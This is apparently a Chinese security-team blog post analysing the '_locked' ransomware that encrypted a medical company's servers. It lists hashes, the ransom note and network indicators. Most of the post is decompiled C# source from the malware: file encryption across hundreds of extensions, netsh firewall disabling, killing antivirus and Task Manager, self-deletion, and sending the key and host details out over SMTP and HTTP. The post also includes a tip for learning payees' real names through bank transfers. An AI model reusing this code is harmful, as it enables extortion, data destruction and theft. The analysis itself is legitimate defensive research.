【病毒分析】中国人不骗中国人?_locked勒索病毒分析

时间: 2024-10-17 16:17:45 浏览量:234

1.背景

  近期,Solar团队应某医疗公司的请求提供援助,该公司的计算机服务器受到了_locked勒索病毒的侵害,所有的文件被加密并且添加了_locked后缀,并且释放了中文勒索信,留下了支付宝收款码作为勒索赎金支付通道,通过我们的应急响应团队进行深入的溯源调查,应客户的要求,本文暂未提供对入侵溯源的分析报告内容,仅提供该勒索病毒加密器的逆向分析报告。

2.溯源分析

2.1 恶意行为

  执行后会释放以下三个文件:

  • libadvpack.dll
  • 重要資訊.txt
  • 收款碼<时间>.jpg

  访问外部链接:

  • api.ipify.org #用于获取互联网IP
  • smtp-mail.outlook.com #用于smtp发件
  • 104.26.13.205 #CDN
  • 52.98.54.134 #CDN

2.2 溯源流程

  对收款码进行溯源,账号属于一位年长女性,判断应该为通过渠道购买的黑号。

输入图片说明

Tips:使用支付宝付款的时候,选择四大行以外的银行卡进行转账,然后再通过该银行的APP进行转账明细查询,大部分可以看到对方的真实名字。

  逆向加密器,会发现加密信息通过SMTP协议发送邮件至黑客匿名邮箱,由于SMTP协议是发件协议,因此即使能够登陆也无法查看已发邮件。

  修改发件、收件地址后会收到以下邮件,包含计算机的基本信息、机密文件数量以及密码,由于此outlook邮箱的辅助邮箱为匿名注册邮箱,故无法通过该线索继续溯源。

3.恶意文件基础信息

3.1 加密器基本信息

大小404480(395.00 KiB)
操作系统Windows(2000)
架构I386
模式32 位
类型GUI
字节序LE
MD51edc74dee16a67e94512c59d899b63bd
SHA2560566ce83e0ab2b58f5247845d5ae075e5f046d7eb49bb019c9a4aead8337a5cf

3.2 勒索信

注意!

你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。

恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。

想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。

為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com

並免費解密一個檔案。但是這個檔應該沒有價值!

警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。

請注意!!!解密工具在24小時內的時間內可用。你的個人id是:

=================================================================================

R1AyMTB3ZnZ4MExuOTZaUWk5WVdXV2ZwSzZyR0tPSzZSWVNOYzdZWnhaMTZEZ0poMmJWK1BxMkFWcnZXWlFNS3NwL1lNcEFLVVpYNW9ibDVTUXFadHJIZmc2TFVsMGFqQjV5dHd2YXJoRmhxUTdtSk5QNi9XQi83ek9MUVJCYWc5b0NoMm1JVy9sREtqallqaW52RnN2RVFjVXE4bmpEK2lVWnJWK1B1NWlHRkhGTVZaMGF2bnQ5T2REK1E0Zm56MEpYSTUvK0dDQk04WnZGMU5ZcUgvV2tHSHZmdXc4eEpGSTd0TzNjSkhBRzd2OGpYVEI0QnNKb0FBUEVVWC9wcUpBMFFqeGFvMmk5ck94Yms5QjhxQXhTeXBmVExyeEtjS2orWDdVekUzcHo2U3RYMWMwZ2dpcUI0UFBmRlN4bUZkR05vUmVTTVN6Vm5GMEhPNGFWbTgxMEJJc3AvVEJUWE04NVJteWg4MXpYRUY1RmsrbnYxZTBHSVBDMkFUR3NIbFA5cE1oYVBhVFB4L28rUENvN2lGekRZQXh2bDBPdG94S2Q2ZnB2ZlFuUmI4cXhLcjZPTzBZbDYxR1pLcnFEZU1EeGNVems2RURITWFtaldhZERLN2NYNEhQcWJCRTNqYVE1L215M0x5TEZTa3N2cTRWdnk1UTJzOThhd1p3VW4=

3.3 勒索图片

4.恶意文件分析

4.1 威胁分析

病毒家族Locked(疑似国内)
首次出现时间/捕获分析时间2024/01/18 || 2024/03/12
威胁类型勒索软件,加密病毒
加密文件扩展名.locked
勒索信文件名重要資訊.txt
有无免费解密器?
联系邮箱ac7d33419d00c1d9@tutanota.com
检测名称Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 ))
感染****症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

4.2加密前后对比

  加密的测试文件为1.txt,具体内容如下:

  经过木马加密之后如下:

  文件后缀加了_locked,文件大小不变,运行多次加密木马加密同一文件之后,由于id不同,加密后的文件内容也不相同。

5.逆向分析

  文件本身为.NET程序,但是使用了.NET Reactor(4.5-4.7)进行了保护,使用工具去掉保护。

  使用工具de4dot_mod(https://github.com/HongThatCong/de4dot_mod)去掉`.NET Reactor(4.5-4.7)`保护。

5.1 去掉保护的文件信息

大小262144(256.00 KiB)
操作系统Windows(95)
架构I386
模式32 位
类型GUI
字节序LE
MD5c1c8e31ec3e906c026644034b27d5ce7
SHA256278886a3ca2ac8669fca57eeb2ad3db17f7878a3865e1852a23655330406fb23
.NET(v4.0.30319)-
链接程序Microsoft Linker(6.0)GUI32

5.2 .NET逆向分析

5.2.1 函数Base64ToImage

  将Base64编码的图像数据转换为图像文件并保存到指定路径的方法,输出收款码保存在桌面。

public static bool Base64ToImage(string base64, string userName)
 {
     try
     {
         base64 = base64.Replace("data:image/png;base64,", "").Replace("data:image/jgp;base64,", "").Replace("data:image/jpg;base64,", "")
             .Replace("data:image/jpeg;base64,", "");
         byte[] buffer = Convert.FromBase64String(base64);
         MemoryStream stream = new MemoryStream(buffer);
         Image original = Image.FromStream(stream);
         Bitmap bitmap = new Bitmap(original);
         bitmap.Save("C:/Users/" + userName + "/Desktop/收款碼" + DateTime.Now.ToString("yyyyMMddHHss") + ".jpg", ImageFormat.Jpeg);
         return true;
     }
     catch (SmtpException)
     {
         return false;
     }
 }

5.2.2 函数CreatePassword

  CreatePassword 方法用于生成指定长度的随机密码。它使用 StringBuilder 来高效地构建密码,通过从小写字母、大写字母和数字(0-9)的集合中随机选择字符来生成密码。

public static string CreatePassword(int length)
 {
     StringBuilder stringBuilder = new StringBuilder();
     Random random = new Random();
     while (0 < length--)
     {
         stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".Length)]);
     }
     return stringBuilder.ToString();
 }

5.2.3 函数GetHardDiskSerialNumber

  这段代码是用于获取硬盘序列号的方法。该方法使用 System.Management 命名空间,通过查询 Win32_PhysicalMedia 类来获取物理媒体(硬盘)的相关信息。

 using System.Management;

 public static string GetHardDiskSerialNumber()
 {
     ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_PhysicalMedia");
     string result = "";
     using (ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator())
     {
         if (managementObjectEnumerator.MoveNext())
         {
             ManagementObject managementObject = (ManagementObject)managementObjectEnumerator.Current;
             result = managementObject["SerialNumber"].ToString().Trim();
         }
     }
     return result;
 }

5.2.4 函数GetHardDiskSpace

  这段代码是用于获取指定硬盘的总可用空间的方法。

public static long GetHardDiskSpace(string str_HardDiskName)
 {
     long result = 0L;
     str_HardDiskName += ":\\";
     DriveInfo[] drives = DriveInfo.GetDrives();
     DriveInfo[] array = drives;
     foreach (DriveInfo driveInfo in array)
     {
         if (driveInfo.Name == str_HardDiskName)
         {
             result = driveInfo.TotalFreeSpace / 1048576L;
         }
     }
     return result;
 }

5.2.5 函数Log

  日志函数。

public static void Log(string message)
 {
     if (string.IsNullOrEmpty(Settables.LOGURL))
     {
         return;
     }
     string text = Environment.MachineName + "-" + Environment.UserName + " : " + message;
     string urlString = Settables.LOGURL + text;
     if (!penetratedFirewall)
     {
         return;
     }
     using WebBrowser webBrowser = new WebBrowser();
     webBrowser.Navigate(urlString);
     while (webBrowser.ReadyState != WebBrowserReadyState.Complete)
     {
         Application.DoEvents();
     }
 }

5.2.6 函数PenetrateFirewall

  检测是否可以连接互联网,若访问http://www.websitetest.com/失败则关闭防火墙。

public static bool PenetrateFirewall()
 {
     using WebClient webClient = new WebClient();
     try
     {
         webClient.DownloadString("http://www.websitetest.com/");
         return true;
     }
     catch
     {
         try
         {
             Process process = new Process();
             ProcessStartInfo processStartInfo = new ProcessStartInfo();
             processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
             processStartInfo.FileName = "cmd.exe";
             processStartInfo.Arguments = "netsh firewall set opmode disable";
             process.StartInfo = processStartInfo;
             process.Start();
             process.WaitForExit();
             return true;
         }
         catch
         {
             return false;
         }
     }
 }

5.2.7 函数SendEmail

  通过SMTP发送电子邮件的方法。

public static bool SendEmail(string mailTo, string mailTitle, string mailContent)
 {
     string host = "smtp-mail.outlook.com";
     string text = "ca89a16780424771@outlook.com";
     string password = "b418345887e598be";
     SmtpClient smtpClient = new SmtpClient();
     smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
     smtpClient.Host = host;
     smtpClient.EnableSsl = true;
     smtpClient.UseDefaultCredentials = true;
     smtpClient.Credentials = new NetworkCredential(text, password);
     MailMessage mailMessage = new MailMessage(text, mailTo);
     mailMessage.Subject = mailTitle;
     mailMessage.Body = mailContent;
     mailMessage.BodyEncoding = Encoding.UTF8;
     mailMessage.IsBodyHtml = false;
     mailMessage.Priority = MailPriority.Normal;
     string text2 = "c:\\temp\\libadvpack.dll";
     Attachment attachment = new Attachment(text2);
     attachment.Name = Path.GetFileName(text2);
     attachment.NameEncoding = Encoding.GetEncoding("gb2312");
     attachment.TransferEncoding = TransferEncoding.Base64;
     attachment.ContentDisposition.Inline = true;
     attachment.ContentDisposition.DispositionType = "inline";
     _ = attachment.ContentId;
     mailMessage.Attachments.Add(attachment);
     try
     {
         smtpClient.Send(mailMessage);
         return true;
     }
     catch (SmtpException)
     {
         return false;
     }
 }

5.2.8 函数smethod_0

  用于获取当前设备的公共IP地址的方法。

public static string smethod_0()
 {
     try
     {
         using WebClient webClient = new WebClient();
         string text = webClient.DownloadString("https://api.ipify.org");
         return "ip:" + text;
     }
     catch
     {
         return "";
     }
 }

5.2.9 函数messageCreator

  创建勒索文本与勒索文件,其中method_3函数返回勒索图片对应的base64编码。

public void messageCreator(string setpasth, string setstr)
 {
     try
     {
         string[] contents = new string[19]
         {
             "注意!", "", "你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。", "", "恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。", "", "想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。", "", "為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com", "",
             "並免費解密一個檔案。但是這個檔應該沒有價值!", "", "警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。", "", "請注意!!!解密工具在24小時內的時間內可用。你的個人id是:", "", "=================================================================================", "", setstr
         };
         string text = "\\重要資訊.txt";
         string path = setpasth + text;
         File.WriteAllLines(path, contents);
         Common.Base64ToImage(method_3(), string_1);
     }
     catch (SystemException ex)
     {
         Common.Writelog("messageCreator=" + ex.Message);
     }
 }

5.2.10 函数startAction

  在程序中使用base64编码存放了RSA公钥,提取可得。

-----BEGIN CERTIFICATE-----
PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVK
a2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09i
L3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FR
amYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNI
Yz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFs
dWU+
-----END CERTIFICATE-----
public void startAction()
 {
     try
     {
         KillProces360();
         string text = string_5 + "LOCK" + string_6;
         byte[] bytes = Convert.FromBase64String("PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVKa2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09iL3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FRamYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNIYz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+");
         string @string = Encoding.Default.GetString(bytes);
         string s = Encrypts.RsaEncrypt(text, @string);
         byte[] bytes2 = Encoding.UTF8.GetBytes(s);
         s = Convert.ToBase64String(bytes2);
         Common.WritePasswdlog(s);
         string text2 = "\\Desktop\\";
         string text3 = "\\Downloads\\";
         string text4 = "\\Documents\\";
         string text5 = "\\Pictures\\";
         string text6 = string_3 + string_1 + text2;
         string text7 = string_3 + string_1 + text3;
         string text8 = string_3 + string_1 + text4;
         string text9 = string_3 + string_1 + text5;
         Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + "," + Common.smethod_0() + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s);
         string[] logicalDrives = Directory.GetLogicalDrives();
         string[] array = logicalDrives;
         foreach (string text10 in array)
         {
             if (text10 == "C:\\")
             {
                 encryptDirectory(text6, text);
                 encryptDirectory(text7, text);
                 encryptDirectory(text8, text);
                 encryptDirectory(text9, text);
                 messageCreator(text6, s);
                 messageCreator(text7, s);
                 messageCreator(text8, s);
                 messageCreator(text9, s);
             }
             if (text10 != "C:\\")
             {
                 encryptDirectory(text10, text);
                 messageCreator(text10, s);
             }
         }
         Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s);
         text = null;
         selfDestroy();
         Application.Exit();
     }
     catch (SystemException ex)
     {
         Common.Writelog("startAction=" + ex.Message);
     }
 }

5.2.11 函数KillProces360

  此函数的目标是终止与360安全卫士(360 Total Security)相关的进程,包括360tray.exe360sd.exe360rps.exe360rp.exeeptray.exe。下文代码仅保留了关键逻辑。

// Gendarmerie_B.V._3.GendarmerieForm
 using System;
 using System.Diagnostics;

 public void KillProces360()
 {
     Process[] processesByName = Process.GetProcessesByName("360tray.exe");
     Process[] processesByName2 = Process.GetProcessesByName("360sd.exe");
     Process[] processesByName3 = Process.GetProcessesByName("360rps.exe");
     Process[] processesByName4 = Process.GetProcessesByName("360rp.exe");
     Process[] processesByName5 = Process.GetProcessesByName("eptray.exe");
     Process[] array = processesByName;
     foreach (Process process in array) process.Kill();
     array = processesByName2;
     foreach (Process process in array) process.Kill();
     array = processesByName3;
     foreach (Process process in array) process.Kill();
     array = processesByName4;
     foreach (Process process in array) process.Kill();
     array = processesByName5;
     foreach (Process process in array) process.Kill();
 }

5.2.12 函数KillProcesstaskmgr

  关闭任务管理器进程。

public void KillProcesstaskmgr()
 {
     Process[] processesByName = Process.GetProcessesByName("taskmgr");
     Process[] array = processesByName;
     foreach (Process process in array) process.Kill();
 }

5.2.13 函数encryptDirectory

  对指定目录下的文件进行加密,source 数组包含了要考虑加密的文件扩展名列表,除一些系统目录,如 "Windows"、"Program Files" 和 "Program Files (x86)",排除文件重要資訊.txt

  对文件调用不同的加密方式:

  - 检查硬盘空间是否充足、文件大小是否小于等于50MB,若满足则调用EncryptFile

  - 检查硬盘空间是否充足、文件大小是否大于50MB,若满足则调用AES_big_Encrypt

// Gendarmerie_B.V._3.GendarmerieForm
 using System;
 using System.IO;
 using System.Linq;

 public void encryptDirectory(string location, string password)
 {
     try
     {
         string[] source = new string[474]
         {
             "", ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg",
             ".jpeg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html",
             ".xml", ".psd", ".sql", ".mp4", ".7z", ".rar", ".m4a", ".wma", ".avi", ".wmv",
             ".csv", ".d3dbsp", ".zip", ".sie", ".sum", ".ibank", ".bak", ".t13", ".t12", ".qdf",
             ".gdb", ".tax", ".pkpass", ".bc6", ".dat", ".def", ".bc7", ".bkp", ".qic", ".bkf",
             ".sidn", ".sidd", ".mddata", ".itl", ".itdb", ".icxs", ".hvpl", ".hplg", ".hkdb", ".mdbackup",
             ".syncdb", ".gho", ".cas", ".svg", ".map", ".wmo", ".itm", ".sb", ".fos", ".mov",
             ".vdf", ".ztmp", ".sis", ".sid", ".ncf", ".menu", ".layout", ".dmp", ".blob", ".esm",
             ".vcf", ".vtf", ".dazip", ".fpk", ".mlx", ".kf", ".iwd", ".vpk", ".tor", ".psk",
             ".rim", ".w3x", ".fsh", ".ntl", ".arch00", ".lvl", ".snx", ".cfr", ".ff", ".vpp_pc",
             ".lrf", ".m2", ".mcmeta", ".vfs0", ".mpqge", ".kdb", ".db0", ".dba", ".rofl", ".hkx",
             ".bar", ".upk", ".das", ".iwi", ".litemod", ".asset", ".forge", ".ltx", ".bsa", ".apk",
             ".re4", ".sav", ".lbf", ".slm", ".bik", ".epk", ".rgss3a", ".pak", ".big", "wallet",
             ".wotreplay", ".xxx", ".desc", ".py", ".m3u", ".flv", ".js", ".css", ".rb", ".p7c",
             ".pk7", ".p7b", ".p12", ".pfx", ".pem", ".crt", ".cer", ".der", ".x3f", ".srw",
             ".pef", ".ptx", ".r3d", ".rw2", ".rwl", ".raw", ".raf", ".orf", ".nrw", ".mrwref",
             ".mef", ".erf", ".kdc", ".dcr", ".cr2", ".crw", ".bay", ".sr2", ".srf", ".arw",
             ".3fr", ".dng", ".jpe", ".jpg", ".cdr", ".indd", ".ai", ".eps", ".pdf", ".pdd",
             ".dbf", ".mdf", ".wb2", ".rtf", ".wpd", ".dxg", ".xf", ".dwg", ".pst", ".accdb",
             ".mdb", ".pptm", ".pptx", ".ppt", ".xlk", ".xlsb", ".xlsm", ".wps", ".docm", ".odb",
             ".odc", ".odm", ".odp", ".ods", ".odt", ".cs", ".lnk", ".mpeg", ".mp3", ".mkv",
             ".divx", ".ogg", ".zip", ".wav", ".bat", ".index", ".shp", ".gdbtable", ".gdbindexes", ".pos",
             ".gps", ".ipynb", ".rdata", ".rda", ".atx", ".gdb", ".spx", "rde", ".rrd", ".img",
             ".mxd", ".rm", ".mid", ".rtf", ".tif", ".gif", ".pic", ".aif", ".au", ".ram",
             ".mmf", ".amr", ".aac", ".flac", ".mpg", ".swf", ".dll", ".int", ".com", ".c",
             ".asm", ".for", ".lib", ".lst", ".msg", ".obj", ".pas", ".wki", ".bas", ".java",
             ".dot", ".abk", ".aps", ".ace", ".art", ".au", ".avr", ".class", ".cls", ".dcm",
             ".dxf", ".m4v", ".mpp", ".pcm", ".tiff", ".jio", ".dbb", ".aid", ".cpx", ".jiff",
             ".vod", ".njx", ".pcb", ".pm5", ".ps", ".pub", ".vbs", ".out", ".ofd", ".idf",
             ".rep", ".exb", ".sea", ".wrl", ".dwf", ".max", ".vsd", ".skp", ".jssx", ".arc",
             ".config", ".fcpx", ".avb", ".mb", ".ma", ".blend", ".r", ".qbw", ".qbb", ".ofx",
             ".qfx", ".qif", ".plt", ".seq", ".prj", ".m", ".h", ".c", ".cpp", ".cpp",
             ".gdf", ".exe", ".tsp", ".au", ".vmdk", ".nvram", ".pvm", ".vmx", ".sesx", ".logicx",
             ".rvt", ".ifc", ".sldprt", ".sldasm", ".rmvb", ".rm", ".m3u8", ".ms16", ".ms15", ".ms14",
             ".ms13", ".ms12", ".ms11", ".ms10", ".ms9", ".ms8", ".ms7", ".asc", ".neu", ".net",
             ".cam", ".min", ".pcbdoc", ".tgz", ".xlxs", ".mat", ".crm", ".plc", ".egd", ".dsn",
             ".brd", ".cir", ".prt", ".drw", ".asm", ".frm", ".mfg", ".sec", ".cat", ".catp",
             ".catpart", ".catporduct", ".catdrawing", ".catshape", ".catanalysis", ".scada", ".step", ".stp", ".igs", ".ipt",
             ".cgr", ".req", ".res", ".gra", ".hm", ".db", ".emat", ".esav", ".rst", ".rth",
             ".rmg", ".out", ".snn", ".pm", ".t", ".xsr", ".gen", ".mgb", ".gts", ".mcb",
             ".emf", ".nc", ".cnc", ".bd1", ".bd2", ".bd3", ".bf1", ".bf2", ".bf3", ".bmk",
             ".fn", ".dxf", ".zmx", ".zar", ".zda", ".edu", ".lab", ".sage", ".mw", ".lg4",
             ".lng", ".ldt", ".ltf", ".lgr", ".tps", ".sav", ".sps", ".cds", ".cdx", ".cdxml",
             ".chm", ".d", ".prproj", ".pre", ".aln", ".bw", ".inp", ".xdr", ".pug", ".spm",
             ".lvm", ".tdms", ".es3", ".ebs3", ".edat3", "emrg3", "epk3", ".es2", ".ebs2", ".edat2",
             ".emrg2", ".kdy", ".ufd", ".kdb", ".kdbx", ".kf5", ".qkg", ".kdb33", ".nc", ".u8",
             ".fd", ".bqy", ".ad", ".dgn", ".ttxt", ".3dm", ".zpr", ".cpt", ".onenote", ".note",
             ".enex", ".md", ".edi", ".vcard"
         };
         string[] array = location.Split(':');
         long hardDiskSpace = Common.GetHardDiskSpace(array[0].ToString());
         string[] files = Directory.GetFiles(location);
         string[] directories = Directory.GetDirectories(location);
         for (int i = 0; i < files.Length; i++)
         {
             KillProcesstaskmgr();
             KillProces360();
             string extension = Path.GetExtension(files[i]);
             if (source.Contains(extension.ToLower()))
             {
                 FileInfo fileInfo = new FileInfo(files[i]);
                 long num = fileInfo.Length / 1048576L;
                 if (hardDiskSpace >= 0L && num <= 50L && fileInfo.Name != "重要資訊.txt")
                 {
                     Encrypts.EncryptFile(files[i], password);
                     int_1++;
                 }
                 if (hardDiskSpace >= 0L && num > 50L && fileInfo.Name != "重要資訊.txt")
                 {
                     Encrypts.AES_big_Encrypt(files[i], password);
                     int_1++;
                 }
             }
         }
         for (int i = 0; i < directories.Length; i++)
         {
             if (!directories[i].Contains("Windows") && !directories[i].Contains("Program Files") && !directories[i].Contains("Program Files (x86)"))
             {
                 encryptDirectory(directories[i], password);
             }
         }
     }
     catch (SystemException ex)
     {
         Common.Writelog("encryptDirectory=" + ex.Message);
     }
 }

5.2.14 函数EncryptFile&AES_big_Encrypt

  1. EncryptFile 方法:

     1. 从指定文件中读取字节内容

     2. 将密码字符串转换为字节数组,并对其进行 SHA-256 哈希处理

     3. 使用 smethod_0 方法对文件内容进行 AES 加密

     4. 将加密后的字节数据写回原始文件,并在文件名末尾添加扩展名 "._locked"

  2. AES_big_Encrypt 方法:

     1. 生成一个随机的 salt(盐)值

     2. 创建一个新的文件流,并将 salt 写入文件开头。

     3. 将密码字符串转换为字节数组,并使用 PBKDF2 算法生成密钥和 IV

     4. 使用密钥和 IV 对文件内容进行 AES 加密,并将加密后的数据写入文件

public static void EncryptFile(string file, string password)
 {
     byte[] byte_ = File.ReadAllBytes(file);
     byte[] bytes = Encoding.UTF8.GetBytes(password);
     bytes = SHA256.Create().ComputeHash(bytes);
     byte[] bytes2 = smethod_0(byte_, bytes);
     try
     {
         File.WriteAllBytes(file, bytes2);
         string text = "._locked";
         File.Move(file, file + text);
     }
     catch (Exception)
     {
     }
 }
 private static byte[] smethod_0(byte[] byte_0, byte[] byte_1)
 {
     byte[] result = null;
     byte[] salt = new byte[8] { 1, 1, 2, 2, 3, 3, 4, 4 };
     using (MemoryStream memoryStream = new MemoryStream())
     {
         using RijndaelManaged rijndaelManaged = new RijndaelManaged();
         rijndaelManaged.KeySize = 256;
         rijndaelManaged.BlockSize = 128;
         Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(byte_1, salt, 1000);
         rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
         rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
         rijndaelManaged.Mode = CipherMode.CBC;
         using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
         {
             cryptoStream.Write(byte_0, 0, byte_0.Length);
             cryptoStream.Close();
         }
         result = memoryStream.ToArray();
     }
     return result;
 }
 public static void AES_big_Encrypt(string inputFile, string password)
 {
     byte[] array = GenerateRandomSalt();
     FileStream fileStream = new FileStream(inputFile + "._locked", FileMode.Create);
     byte[] bytes = Encoding.UTF8.GetBytes(password);
     RijndaelManaged rijndaelManaged = new RijndaelManaged();
     rijndaelManaged.KeySize = 256;
     rijndaelManaged.BlockSize = 128;
     rijndaelManaged.Padding = PaddingMode.PKCS7;
     Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
     rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
     rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
     rijndaelManaged.Mode = CipherMode.CFB;
     fileStream.Write(array, 0, array.Length);
     CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
     FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
     byte[] array2 = new byte[1048576];
     try
     {
         int count;
         while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0)
         {
             Application.DoEvents();
             cryptoStream.Write(array2, 0, count);
         }
         fileStream2.Close();
     }
     catch (Exception)
     {
     }
     finally
     {
         cryptoStream.Close();
         fileStream.Close();
         File.Delete(inputFile);
     }
 }

5.2.15 函数RsaEncrypt

  这段代码实现了使用 RSA 公钥对输入数据进行加密的功能。

public static string RsaEncrypt(string rawInput, string publicKey)
 {
     if (string.IsNullOrEmpty(rawInput))
     {
         return string.Empty;
     }
     if (string.IsNullOrWhiteSpace(publicKey))
     {
         throw new ArgumentException("Invalid Public Key");
     }
     using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider();
     byte[] bytes = Encoding.UTF8.GetBytes(rawInput);
     rSACryptoServiceProvider.FromXmlString(publicKey);
     int num = rSACryptoServiceProvider.KeySize / 8 - 11;
     byte[] array = new byte[num];
     using MemoryStream memoryStream = new MemoryStream(bytes);
     using MemoryStream memoryStream2 = new MemoryStream();
     while (true)
     {
         int num2 = memoryStream.Read(array, 0, num);
         if (num2 <= 0)
         {
             break;
         }
         byte[] array2 = new byte[num2];
         Array.Copy(array, 0, array2, 0, num2);
         byte[] array3 = rSACryptoServiceProvider.Encrypt(array2, fOAEP: false);
         memoryStream2.Write(array3, 0, array3.Length);
     }
     return Convert.ToBase64String(memoryStream2.ToArray());
 }

5.2.16 对象GendarmerieForm的初始函数

  初始化了相关的配置信息。

public GendarmerieForm()
 {
     Class3.KCdZb3Mzn9Yjk();
     int_0 = 30;
     int_1 = 0;
     string_0 = "http://127.0.0.1/Server/write.php";
     string_1 = smethod_0();
     string_2 = Environment.MachineName.ToString();
     string_3 = "C:\\Users\\";
     string_4 = "http://127.0.0.1/Server/ranso2.jpg";
     string_5 = Common.CreatePassword(255);
     string_6 = Common.GetHardDiskSerialNumber();
     icontainer_0 = null;
     base..ctor();
     vunlKygwQ();
 }

5.2.17 函数selfDestroy

  自毁函数,用于删除当前正在运行的应用程序的可执行文件。

public void selfDestroy()
 {
     ProcessStartInfo processStartInfo = new ProcessStartInfo();
     processStartInfo.Arguments = "/C timeout 2 && Del /Q /F " + Application.ExecutablePath;
     processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
     processStartInfo.CreateNoWindow = true;
     processStartInfo.FileName = "cmd.exe";
     Process.Start(processStartInfo);
 }

5.2.18 函数SendPassword

  向指定域名发送相关信息。

public void SendPassword(string password)
 {
     try
     {
         string text = "?computer_name=" + string_2 + "&userName=" + string_1 + "&password=" + password + "&allow=ransom";
         string address = string_0 + text;
         new WebClient().DownloadString(address);
     }
     catch (Exception)
     {
     }
 }

6.病毒分析概览

  木马从startAction函数启动,首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密之后即为私人i,调用成员函数encryptDirectory加密目录以及子目录,函数中拥有一个白名单,只有在白名单中的后缀文件才会被加密,同时排除了系统关键目录与勒索信的加密。

  根据文件的大小选择不同的加密方式调用EncryptFile或者AES_big_Encrypt函数进行加密,同时木马会进行网络通信,向相关域名发送加密的有关信息,虽然在分析时存在自删除代码,但是实际运行时并没有触发自删除。

7.总结

  程序本身的逆向难度不大,仅使用了ReactorC#程序进行了保护,解除保护后,程序的逻辑无混淆与任何其他保护

  程序在启动之后首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密,程序破解的主要难度就在此处,由于我们无法得知程序设计者的RSA私钥,在程序从内存中移除之后,我们无法得知随机生成的AES密钥,无法恢复文件

8.安全建议

1. 风险消减措施

